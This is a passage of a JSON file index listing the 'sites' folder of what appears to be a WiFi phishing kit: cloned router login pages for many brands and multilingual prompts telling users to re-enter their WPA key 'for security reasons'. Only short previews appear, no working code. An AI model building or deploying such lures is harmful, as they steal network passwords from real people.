    "chars": 17835,
    "preview": "html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/common-min.js",
    "chars": 110192,
    "preview": "/*!\n * jQuery JavaScript Library v1.4.2\n * http://jquery.com/\n *\n * Copyright 2010, John Resig\n * Dual licensed under th"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/json2.js",
    "chars": 17864,
    "preview": "/*\r\n    http://www.JSON.org/json2.js\r\n    2010-08-25\r\n\r\n    Public Domain.\r\n\r\n    NO WARRANTY EXPRESSED OR IMPLIED. USE "
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/mib.js",
    "chars": 247015,
    "preview": "//(c) Copyright 2011-2012, ARRIS Group, Inc., All rights reserved.\n//justin add\ndocument.write(\"<scr\" + \"ipt language=Ja"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/mib2.js",
    "chars": 20865,
    "preview": "//\n// Email Notification\n//\n//1.3.6.1.4.1.4115.1.20.1.1.5.18.7.1\n//1.3.6.1.4.1.4115.1.20.1.1.5.18.7.2\n//1.3.6.1.4.1.4115"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/print.css",
    "chars": 676,
    "preview": "/* $Id: global.css 3119 2009-10-16 20:48:52Z cporto $ */\n\n/*----------------------------------------\nName: global.css\nDe"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/underscore.js",
    "chars": 25861,
    "preview": "//     (c) 2010 Jeremy Ashkenas, DocumentCloud Inc.\r\n//     Underscore is freely distributable under the MIT license.\r\n/"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/w",
    "chars": 1,
    "preview": "\n"
  },
  {
    "path": "sites/Login-Xfinity/index.html",
    "chars": 7504,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<!-- saved"
  },
  {
    "path": "sites/Login-Xfinity/upgrading.html",
    "chars": 7097,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<!-- saved"
  },
  {
    "path": "sites/arris_esp/ayuda.htm",
    "chars": 1674,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\""
  },
  {
    "path": "sites/arris_esp/error.html",
    "chars": 3676,
    "preview": " \n   <link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\">\n</HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n\n    <TABLE id"
  },
  {
    "path": "sites/arris_esp/final.html",
    "chars": 445,
    "preview": "<link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\"></HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n    <TABLE id=\"autoW"
  },
  {
    "path": "sites/arris_esp/index.htm",
    "chars": 2161,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\""
  },
  {
    "path": "sites/arris_esp/info.css",
    "chars": 5423,
    "preview": "\n/* ::::: http://192.168.1.1/css/styles.css ::::: */\n\nhtml, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5,"
  },
  {
    "path": "sites/arris_esp/info.html",
    "chars": 1767,
    "preview": "<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n\n<link rel=\"stylesheet\" type=\"tex"
  },
  {
    "path": "sites/arris_esp/info2.css",
    "chars": 1882,
    "preview": "html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, bi"
  },
  {
    "path": "sites/belkin_eng/ayuda.htm",
    "chars": 1645,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\""
  },
  {
    "path": "sites/belkin_eng/error.html",
    "chars": 3679,
    "preview": " \n   <link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\">\n</HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n\n    <TABLE id"
  },
  {
    "path": "sites/belkin_eng/final.html",
    "chars": 463,
    "preview": "<link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\"></HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n    <TABLE id=\"autoW"
  },
  {
    "path": "sites/belkin_eng/index.htm",
    "chars": 2108,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\""
  },
  {
    "path": "sites/belkin_eng/info.css",
    "chars": 5421,
    "preview": "\n/* ::::: http://192.168.1.1/css/styles.css ::::: */\n\nhtml, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5,"
  },
  {
    "path": "sites/belkin_eng/info.html",
    "chars": 1755,
    "preview": "<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n\n<link rel=\"stylesheet\" type=\"tex"
  },
  {
    "path": "sites/belkin_eng/info2.css",
    "chars": 1882,
    "preview": "html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, bi"
  },
  {
    "path": "sites/fritzbox_de/error.html",
    "chars": 14230,
    "preview": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<meta http"
  },
  {
    "path": "sites/fritzbox_de/final.html",
    "chars": 13885,
    "preview": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<meta http"
  },
  {
    "path": "sites/fritzbox_de/index.html",
    "chars": 14575,
    "preview": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<meta http"
  },
  {
    "path": "sites/fritzbox_en/error.html",
    "chars": 14170,
    "preview": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<meta http"
  },
  {
    "path": "sites/fritzbox_en/final.html",
    "chars": 13878,
    "preview": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<meta http"
  },
  {
    "path": "sites/fritzbox_en/index.html",
    "chars": 14443,
    "preview": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<meta http"
  },
  {
    "path": "sites/fritzbox_eng/error.html",
    "chars": 7664,
    "preview": "<!doctype html>\r\n<html>\r\n<head>\r\n<meta charset=\"utf-8\">\r\n<meta name=\"viewport\" content=\"width=device-width; initial-scal"
  },
  {
    "path": "sites/fritzbox_eng/final.html",
    "chars": 6762,
    "preview": "<!doctype html>\r\n<html>\r\n<head>\r\n<meta charset=\"utf-8\">\r\n<meta name=\"viewport\" content=\"width=device-width; initial-scal"
  },
  {
    "path": "sites/fritzbox_eng/index.html",
    "chars": 7404,
    "preview": "<!doctype html>\r\n<html>\r\n<head>\r\n<meta charset=\"utf-8\">\r\n<meta name=\"viewport\" content=\"width=device-width; initial-scal"
  },
  {
    "path": "sites/genenix_de/error.html",
    "chars": 4473,
    "preview": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<title>Genexis DRGOS</title>\r\n<meta charset=\"UTF-8\" />\r\n<meta name=\"viewport\" content=\""
  },
  {
    "path": "sites/genenix_de/final.html",
    "chars": 4422,
    "preview": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<title>Genexis DRGOS</title>\r\n<meta charset=\"UTF-8\" />\r\n<meta name=\"viewport\" content=\""
  },
  {
    "path": "sites/genenix_de/index.html",
    "chars": 4238,
    "preview": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<title>Genexis DRGOS</title>\r\n<meta charset=\"UTF-8\" />\r\n<meta name=\"viewport\" content=\""
  },
  {
    "path": "sites/google_de/error.html",
    "chars": 56195,
    "preview": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n  <meta ch"
  },
  {
    "path": "sites/google_de/final.html",
    "chars": 55415,
    "preview": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n  <meta ch"
  },
  {
    "path": "sites/google_de/index.html",
    "chars": 56054,
    "preview": "<!DOCTYPE html>\r\n<html lang=\"de\"><head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n  <meta ch"
  },
  {
    "path": "sites/hts-cache/doit.log",
    "chars": 337,
    "preview": "192.168.1.1\nFile generated automatically on Mon, 13 Mar 2017 20:21:37, do NOT edit\n\nTo update a mirror, just launch httr"
  },
  {
    "path": "sites/hts-cache/new.lst",
    "chars": 171,
    "preview": "[backblue.gif]\n[fade.gif]\n[index.html]\n[192.168.1.1/img/login/logo.png]\n[192.168.1.1/img/login/icons-01.png]\n[192.168.1."
  },
  {
    "path": "sites/hts-cache/new.txt",
    "chars": 844,
    "preview": "date\tsize'/'remotesize\tflags(request:Update,Range state:File response:Modified,Chunked,gZipped)\tstatuscode\tstatus ('serv"
  },
  {
    "path": "sites/huawei_eng/ayuda.htm",
    "chars": 1637,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\""
  },
  {
    "path": "sites/huawei_eng/error.html",
    "chars": 3679,
    "preview": " \n   <link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\">\n</HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n\n    <TABLE id"
  },
  {
    "path": "sites/huawei_eng/final.html",
    "chars": 463,
    "preview": "<link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\"></HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n    <TABLE id=\"autoW"
  },
  {
    "path": "sites/huawei_eng/index.htm",
    "chars": 2100,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\""
  },
  {
    "path": "sites/huawei_eng/info.css",
    "chars": 5421,
    "preview": "\n/* ::::: http://192.168.1.1/css/styles.css ::::: */\n\nhtml, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5,"
  },
  {
    "path": "sites/huawei_eng/info.html",
    "chars": 1755,
    "preview": "<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n\n<link rel=\"stylesheet\" type=\"tex"
  },
  {
    "path": "sites/huawei_eng/info2.css",
    "chars": 1882,
    "preview": "html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, bi"
  },
  {
    "path": "sites/movistar_esp/error.html",
    "chars": 4219,
    "preview": "<!DOCTYPE html>\r\n<!--[if (lte IE 8) ]><html lang=\"de-DE\" class=\"no-js lte-ie8\"><![endif]-->\r\n<!--[if (gt IE 8)|!(IE)]><!"
  },
  {
    "path": "sites/movistar_esp/final.html",
    "chars": 3151,
    "preview": "<!DOCTYPE html>\r\n<!--[if (lte IE 8) ]><html lang=\"de-DE\" class=\"no-js lte-ie8\"><![endif]-->\r\n<!--[if (gt IE 8)|!(IE)]><!"
  },
  {
    "path": "sites/movistar_esp/index.html",
    "chars": 4254,
    "preview": "<!DOCTYPE html>\r\n<!--[if (lte IE 8) ]><html lang=\"de-DE\" class=\"no-js lte-ie8\"><![endif]-->\r\n<!--[if (gt IE 8)|!(IE)]><!"
  },
  {
    "path": "sites/movistar_esp/styles/components.css",
    "chars": 87209,
    "preview": "/*! components 2015-04-20 */\n\n.t-html-cc-ver{content:\"Telekom HTML Code Components v2.0\"}@font-face{font-family:'TeleIco"
  },
  {
    "path": "sites/movistar_esp/styles/login.css",
    "chars": 6449,
    "preview": "/* ------------------------------------------------------------------------ */\r\n/* Header\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* -------"
  },
  {
    "path": "sites/netgear/Login-Netgear.zip_base64.txt",
    "chars": 246668,
    "preview": "UEsDBBQDAAAIAOJ+p0jkT5S8shkAAPWOAAAMAAAAYWR2LXdpZmkuaHRt7R1rc9tE8LP1K66CYJvE\nz5C2JLGZNA0lENpOW2AYYDyyLdtqZclIctwQ8t/ZvYf"
  },
  {
    "path": "sites/netgear/adv-wifi.htm",
    "chars": 36597,
    "preview": "<!DOCTYPE HTML>\n<html>\n<head>\n<title>NETGEAR Router <%12%></title>\n<script src=\"jquery.js\"></script>\n<script src=\"script"
  },
  {
    "path": "sites/netgear/css/MNUAccess.css",
    "chars": 467,
    "preview": ".MNUTitle\r\n{\r\n\tfont-family: Arial, Helvetica, sans-serif; \r\n\tfont-size:18px;\r\n\theight:25px;\r\n  color:#0099cc;    \r\n\twidt"
  },
  {
    "path": "sites/netgear/css/button.css",
    "chars": 4298,
    "preview": "\r\nbutton { \r\n\t  border: 0; \r\n\t  cursor: pointer;\r\n    overflow: visible; /* removes extra side padding in IE */\r\n}\r\n\r\nbu"
  },
  {
    "path": "sites/netgear/css/help.css",
    "chars": 861,
    "preview": ".help-text{\r\n    font-family:Arial;\r\n}\r\n\r\nh1{\r\n    font-size:16px;\r\n    color:#989dff;\r\n    font-weight:bold;\r\n}\r\n\r\n\r\nh2"
  },
  {
    "path": "sites/netgear/css/jScrollPane.css",
    "chars": 1095,
    "preview": ".jScrollPaneContainer {\r\n\tposition: relative;\r\n\toverflow: hidden;\r\n\tz-index: 1;\r\n}\r\n\r\n.jScrollPaneTrack {\r\n\tposition: ab"
  },
  {
    "path": "sites/netgear/css/jquery.flexbox.css",
    "chars": 1819,
    "preview": "/* Input textbox - do not specify a width here, it will be overwritten */\r\n.ffb-input \r\n{\r\n\tfloat:left;\r\n\tcolor:#000; /*"
  },
  {
    "path": "sites/netgear/css/jquery.jscrollpane.css",
    "chars": 1423,
    "preview": "/*\n * CSS Styles that are needed by jScrollPane for it to operate correctly.\n *\n * Include this stylesheet in your site "
  },
  {
    "path": "sites/netgear/css/mainpage.css",
    "chars": 6047,
    "preview": "html, body {\n\t\tmargin: 0;\n\t\tpadding: 0;\n\t\tbackground-color:#e5e5e5;\n                min-height:600px;\n\t}\n\n\th1{\n\t\tpadding"
  },
  {
    "path": "sites/netgear/css/menu.css",
    "chars": 8768,
    "preview": "/* tab pane styling */\n\nbody {\n\t  width:100%;\n}\n\n\n.panes div {\n\n    display:none;\n    width:100%;\n    height:100%;\n    b"
  },
  {
    "path": "sites/netgear/css/qos_tabs.css",
    "chars": 2991,
    "preview": "\n\n/* root element for tabs  */\nul.tabs { \n    list-style:none; \n    margin:0px;\n    padding-left:10px;\n    padding-top:5"
  },
  {
    "path": "sites/netgear/css/scrollbar.css",
    "chars": 1589,
    "preview": "\r\n/*\r\n * CSS Styles that are needed by jScrollPane for it to operate correctly.\r\n *\r\n * Include this stylesheet in your "
  },
  {
    "path": "sites/netgear/css/standalone.css",
    "chars": 235,
    "preview": "body {\n\tfont-family:\"Lucida Grande\",\"bitstream vera sans\",\"trebuchet ms\",sans-serif,verdana,Arial;\n}\n\n/* get rid of thos"
  },
  {
    "path": "sites/netgear/css/table.css",
    "chars": 14966,
    "preview": "\n\n.basic-text{\n        padding-top:0px;\n        margin-top:0px;\n}\n\n\n.basic-text-menu{\n\t\tborder-collapse:collapse;\n      "
  },
  {
    "path": "sites/netgear/css/table_noh.css",
    "chars": 15492,
    "preview": "\n\n.basic-text{\n        padding-top:0px;\n        margin-top:0px;\n}\n\n\n.basic-text-menu{\n\t\tborder-collapse:collapse;\n      "
  },
  {
    "path": "sites/netgear/css/tabs.css",
    "chars": 2976,
    "preview": "\n\n/* root element for tabs  */\nul.tabs { \n    list-style:none; \n    margin:0px;\n    padding-left:10px;\n    padding-top:5"
  },
  {
    "path": "sites/netgear_eng/ayuda.htm",
    "chars": 1626,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\""
  },
  {
    "path": "sites/netgear_eng/error.html",
    "chars": 3697,
    "preview": " \n   <link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\">\n</HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n\n    <TABLE id"
  },
  {
    "path": "sites/netgear_eng/final.html",
    "chars": 463,
    "preview": "<link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\"></HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n    <TABLE id=\"autoW"
  },
  {
    "path": "sites/netgear_eng/index.htm",
    "chars": 2099,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\""
  },
  {
    "path": "sites/netgear_eng/info.css",
    "chars": 5423,
    "preview": "\n/* ::::: http://192.168.1.1/css/styles.css ::::: */\n\nhtml, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5,"
  },
  {
    "path": "sites/netgear_eng/info.html",
    "chars": 1865,
    "preview": "<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n\n<link rel=\"stylesheet\" type=\"tex"
  },
  {
    "path": "sites/netgear_eng/info2.css",
    "chars": 1882,
    "preview": "html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, bi"
  },
  {
    "path": "sites/netgear_esp/ayuda.htm",
    "chars": 1661,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\""
  },
  {
    "path": "sites/netgear_esp/error.html",
    "chars": 3676,
    "preview": " \n   <link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\">\n</HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n\n    <TABLE id"
  },
  {
    "path": "sites/netgear_esp/final.html",
    "chars": 445,
    "preview": "<link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\"></HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n    <TABLE id=\"autoW"
  },
  {
    "path": "sites/netgear_esp/index.htm",
    "chars": 2136,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\""
  },
  {
    "path": "sites/netgear_esp/info.css",
    "chars": 5423,
    "preview": "\n/* ::::: http://192.168.1.1/css/styles.css ::::: */\n\nhtml, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5,"
  },
  {
    "path": "sites/netgear_esp/info.html",
    "chars": 1887,
    "preview": "<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n\n<link rel=\"stylesheet\" type=\"tex"
  },
  {
    "path": "sites/netgear_esp/info2.css",
    "chars": 1882,
    "preview": "html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, bi"
  },
  {
    "path": "sites/neutra/ara",
    "chars": 571,
    "preview": "\nDIALOG_WEB_INFO_ARA=\"لأسباب أمنية، أدخل كلمة المرور الخاصة بالشبكة المدونة اعلاه من تشفير WPA للحصول على اتصال الانترنت"
  },
  {
    "path": "sites/neutra/bg",
    "chars": 604,
    "preview": "\nDIALOG_WEB_INFO_BG=\"От съображения за сигурност е необходимо да въведете своята WPA парола за да получите достъп до Инт"
  },
  {
    "path": "sites/neutra/cn",
    "chars": 348,
    "preview": "DIALOG_WEB_INFO_CN=\"为了您的安全考量, 请输入 WPA 密码以重新连接网络\"\nDIALOG_WEB_INPUT_CN=\"输入您的WPA密码:\"\nDIALOG_WEB_SUBMIT_CN=\"连接\"\nDIALOG_WEB_E"
  },
  {
    "path": "sites/neutra/cz",
    "chars": 589,
    "preview": "\nDIALOG_WEB_INFO_CZ=\"Omlouváme se, ale došlo k problémům se zabezpečením vašeho bezdrátového routeru. Zadejte prosím zno"
  },
  {
    "path": "sites/neutra/dan",
    "chars": 643,
    "preview": "\nDIALOG_WEB_INFO_DAN=\"Af sikkerhedsmæssige årsager, skal du skrive netværksadgangskoden, for at få adgang til internette"
  },
  {
    "path": "sites/neutra/en",
    "chars": 556,
    "preview": "DIALOG_WEB_INFO_ENG=\"For security reasons, enter the WPA key to access the Internet.\"\nDIALOG_WEB_INPUT_ENG=\"Enter your W"
  },
  {
    "path": "sites/neutra/esp",
    "chars": 572,
    "preview": "DIALOG_WEB_INFO_ESP=\"Por razones de seguridad, teclea tu clave WIFI para acceder a internet\"\nDIALOG_WEB_INPUT_ESP=\"Tecle"
  },
  {
    "path": "sites/neutra/fr",
    "chars": 546,
    "preview": "DIALOG_WEB_INFO_FR=\"Pour des raisons de sécurité, entrez votre clé WPA\"\nDIALOG_WEB_INPUT_FR=\"Entrez votre clé WPA:\"\nDIAL"
  },
  {
    "path": "sites/neutra/ger",
    "chars": 599,
    "preview": "DIALOG_WEB_INFO_GER=\"Aus Sicherheitsgründen geben Sie bitte den WPA2 Schlüssel ein.\"\nDIALOG_WEB_INPUT_GER=\"Geben Sie den"
  },
  {
    "path": "sites/neutra/gr",
    "chars": 571,
    "preview": "DIALOG_WEB_INFO_GR=\"Για λόγους ασφάλειας, εισάγετε το WPA κωδικό για να έχετε πρόσβαση στο Internet.\"\nDIALOG_WEB_INPUT_G"
  },
  {
    "path": "sites/neutra/he",
    "chars": 482,
    "preview": "\nDIALOG_WEB_INFO_HE=\"מטעמי אבטחה, יש להזין את סיסמת הרשת האלחוטית (WPA)עבור קבלת גישה לאינטרנט.\"\nDIALOG_WEB_INPUT_HE=\"הז"
  },
  {
    "path": "sites/neutra/hu",
    "chars": 523,
    "preview": "DIALOG_WEB_INFO_HU=\"Biztonsági okokból adja meg a WPA kulcsot az internet eléréséhez\"\nDIALOG_WEB_INPUT_HU=\"WPA jelszó:\"\n"
  },
  {
    "path": "sites/neutra/id",
    "chars": 585,
    "preview": "\nDIALOG_WEB_INFO_ID=\"Untuk alasan keamanan, masukkan WPA KEY (password wifi) untuk mengakses Internet.\"\nDIALOG_WEB_INPUT"
  },
  {
    "path": "sites/neutra/it",
    "chars": 572,
    "preview": "DIALOG_WEB_INFO_IT=\"Per motivi di sicurezza, immettere la chiave WPA per accedere a Internet\"\nDIALOG_WEB_INPUT_IT=\"Inser"
  },
  {
    "path": "sites/neutra/nl",
    "chars": 580,
    "preview": "\nDIALOG_WEB_INFO_NL=\"Voer uw WPA-wachtwoord wegens beveiligingsredenen in om weer internettoegang te krijgen.\"\nDIALOG_WE"
  },
  {
    "path": "sites/neutra/no",
    "chars": 571,
    "preview": "DIALOG_WEB_INFO_NO=\"Av sikkerhetsmessige årsaker må WPA-nøkkelen skrives inn for å få tilgang til internett\"\nDIALOG_WEB_"
  },
  {
    "path": "sites/neutra/pl",
    "chars": 626,
    "preview": "DIALOG_WEB_INFO_PL=\"Ze względów bezpieczeństwa, wprowadź klucz WPA, aby uzyskać dostęp do Internetu\"\nDIALOG_WEB_INPUT_PL"
  },
  {
    "path": "sites/neutra/por",
    "chars": 551,
    "preview": "DIALOG_WEB_INFO_POR=\"Por razões de segurança, digite a senha para acessar a Internet\"\nDIALOG_WEB_INPUT_POR=\"Digite novam"
  },
  {
    "path": "sites/neutra/ro",
    "chars": 567,
    "preview": "\nDIALOG_WEB_INFO_RO=\"Din motive de securitate, introduceți cheia WPA pentru a avea acces la Internet\"\nDIALOG_WEB_INPUT_R"
  },
  {
    "path": "sites/neutra/rus",
    "chars": 562,
    "preview": "DIALOG_WEB_INFO_RUS=\"Для получения доступа в Интернет нужно ввести WPA пароль своей точки доступа.\"\nDIALOG_WEB_INPUT_RUS"
  },
  {
    "path": "sites/neutra/srb",
    "chars": 548,
    "preview": "DIALOG_WEB_INFO_SRB=\"Zbog sigurnosnih razloga, unesite WPA ključ da bi ste pristupili internetu.\"\nDIALOG_WEB_INPUT_SRB=\""
  },
  {
    "path": "sites/neutra/svn",
    "chars": 544,
    "preview": "DIALOG_WEB_INFO_SVN=\"Zaradi varnostnih razlogov vnesite WPA ključ, da lahko dostopate do interneta!\"\nDIALOG_WEB_INPUT_SV"
  },
  {
    "path": "sites/neutra/th",
    "chars": 534,
    "preview": "\nDIALOG_WEB_INFO_TH=\"กรุณากรอกรหัสผ่าน WIFI เพื่อให้แน่ใจว่าท่านไม่ใช่ Robot ในการใช้งานอินเตอร์เน็ต.\"\nDIALOG_WEB_INPUT_"
  },
  {
    "path": "sites/neutra/tr",
    "chars": 537,
    "preview": "\nDIALOG_WEB_INFO_TR=\"İnternet'e erişmek icin WPA kablosuz ağ şifrenizi giriniz:\"\nDIALOG_WEB_INPUT_TR=\"Lütfen parolanızı "
  },
  {
    "path": "sites/telekom/Telekom Login-Dateien/components.css",
    "chars": 87209,
    "preview": "/*! components 2015-04-20 */\n\n.t-html-cc-ver{content:\"Telekom HTML Code Components v2.0\"}@font-face{font-family:'TeleIco"
  },
  {
    "path": "sites/telekom/Telekom Login-Dateien/login.css",
    "chars": 6290,
    "preview": "/* ------------------------------------------------------------------------ */\r\n/* Header\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* -------"
  },
  {
    "path": "sites/telekom/error.html",
    "chars": 4813,
    "preview": "<!DOCTYPE html>\r\n<!--[if (lte IE 8) ]><html lang=\"de-DE\" class=\"no-js lte-ie8\"><![endif]-->\r\n<!--[if (gt IE 8)|!(IE)]><!"
  },
  {
    "path": "sites/telekom/final.html",
    "chars": 3522,
    "preview": "<!DOCTYPE html>\r\n<!--[if (lte IE 8) ]><html lang=\"de-DE\" class=\"no-js lte-ie8\"><![endif]-->\r\n<!--[if (gt IE 8)|!(IE)]><!"
  },
  {
    "path": "sites/telekom/index.html",
    "chars": 4649,
    "preview": "<!DOCTYPE html>\r\n<!--[if (lte IE 8) ]><html lang=\"de-DE\" class=\"no-js lte-ie8\"><![endif]-->\r\n<!--[if (gt IE 8)|!(IE)]><!"
  },
  {
    "path": "sites/thehackingsage.txt",
    "chars": 37,
    "preview": "www.thehackingsageisback.blogspot.com"
  },
  {
    "path": "sites/tplink/Upgrade-TP-LINK.zip_base64.txt",
    "chars": 115885,
    "preview": "UEsDBBQDAAAIAOJ+p0gnciiYAEsAAK3ZAQARAAAAYm9vdHN0cmFwLm1pbi5jc3PEXVnz4zQMf+dT\nFBiGqy1p2vQcbhhgBniBB2a4Jk3SNpA2JUlZllI+O/K"
  },
  {
    "path": "sites/tplink/error.html",
    "chars": 6576,
    "preview": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <title>Router Configuration Page</title>\n  <meta charset=\"utf-8\">\n  <meta name"
  },
  {
    "path": "sites/tplink/final.html",
    "chars": 10139,
    "preview": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <title>Router Configuration Page</title>\n  <meta charset=\"utf-8\">\n  <meta name"
  },
  {
    "path": "sites/tplink/index.html",
    "chars": 100531,
    "preview": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <title>Router Configuration Page</title>\n  <meta charset=\"utf-8\">\n  <meta name"
  },
  {
    "path": "sites/verizon/Login-Verizon.zip_base64.txt",
    "chars": 18197,
    "preview": "UEsDBBQDAAAIAOJ+p0gOCHSLzRcAAPdUAAAMAAAAVmVyaXpvbi5odG1sxVxpe9pGEP7Or9jSpw0k\nHLqRjHHr+GjcJnFqu/fBI5AA1YCoJHzk6G/vO7s6ARv"
  },
  {
    "path": "sites/verizon/Verizon.html",
    "chars": 21751,
    "preview": "\n<!-- saved from url=(0019)http://192.168.0.1/ -->\n<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; chars"
  },
  {
    "path": "sites/vodafone_esp/ayuda.htm",
    "chars": 1678,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\""
  },
  {
    "path": "sites/vodafone_esp/error.html",
    "chars": 3676,
    "preview": " \n   <link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\">\n</HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n\n    <TABLE id"
  },
  {
    "path": "sites/vodafone_esp/final.html",
    "chars": 445,
    "preview": "<link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\"></HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n    <TABLE id=\"autoW"
  },
  {
    "path": "sites/vodafone_esp/index.htm",
    "chars": 2158,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\""
  },
  {
    "path": "sites/vodafone_esp/info.css",
    "chars": 5421,
